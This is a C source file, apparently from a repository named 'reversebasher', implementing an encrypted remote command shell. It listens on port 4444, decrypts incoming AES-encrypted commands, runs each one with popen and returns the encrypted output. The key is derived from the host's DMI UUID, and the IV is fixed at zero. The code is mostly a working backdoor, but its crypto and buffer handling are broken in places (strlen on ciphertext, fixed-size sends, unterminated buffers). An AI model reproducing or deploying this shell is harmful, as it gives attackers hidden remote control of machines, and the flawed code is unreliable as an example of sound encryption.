reversebasher/server.c
wheelchairy 64e77a20f1 letsgo
2025-02-10 14:44:43 +03:00

97 lines
2.9 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <openssl/evp.h>
#include <openssl/sha.h>
#include <openssl/rand.h>
#define PORT 4444
#define AES_KEY_SIZE 16
#define AES_BLOCK_SIZE 16
unsigned char key[AES_KEY_SIZE];
void generate_aes_key() {
FILE *fp = popen("cat /sys/class/dmi/id/product_uuid", "r");
char buffer[256];
if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) {
pclose(fp);
printf("[-] Не удалось получить UUID, используем случайный ключ\n");
RAND_bytes(key, AES_KEY_SIZE);
} else {
pclose(fp);
SHA256((unsigned char *)buffer, strlen(buffer), key);
}
}
void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
int len, ciphertext_len;
unsigned char iv[AES_BLOCK_SIZE] = {0};
EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext));
ciphertext_len = len;
EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
ciphertext_len += len;
EVP_CIPHER_CTX_free(ctx);
}
void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
int len, plaintext_len;
unsigned char iv[AES_BLOCK_SIZE] = {0};
EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext));
plaintext_len = len;
EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
plaintext_len += len;
plaintext[plaintext_len] = '\0';
EVP_CIPHER_CTX_free(ctx);
}
int main() {
generate_aes_key();
printf("[+] AES-ключ сервера сгенерирован\n");
int server_sock, client_sock;
struct sockaddr_in server, client;
socklen_t client_size = sizeof(client);
unsigned char buffer[1024], encrypted[1024], decrypted[1024];
server_sock = socket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(PORT);
bind(server_sock, (struct sockaddr *)&server, sizeof(server));
listen(server_sock, 1);
printf("[+] Сервер слушает на порту %d...\n", PORT);
client_sock = accept(server_sock, (struct sockaddr *)&client, &client_size);
printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr));
while (1) {
recv(client_sock, encrypted, sizeof(encrypted), 0);
decrypt_data(encrypted, decrypted);
printf("Команда: %s\n", decrypted);
FILE *fp = popen(decrypted, "r");
fread(buffer, 1, sizeof(buffer), fp);
pclose(fp);
encrypt_data(buffer, encrypted);
send(client_sock, encrypted, sizeof(encrypted), 0);
}
close(client_sock);
close(server_sock);
return 0;
}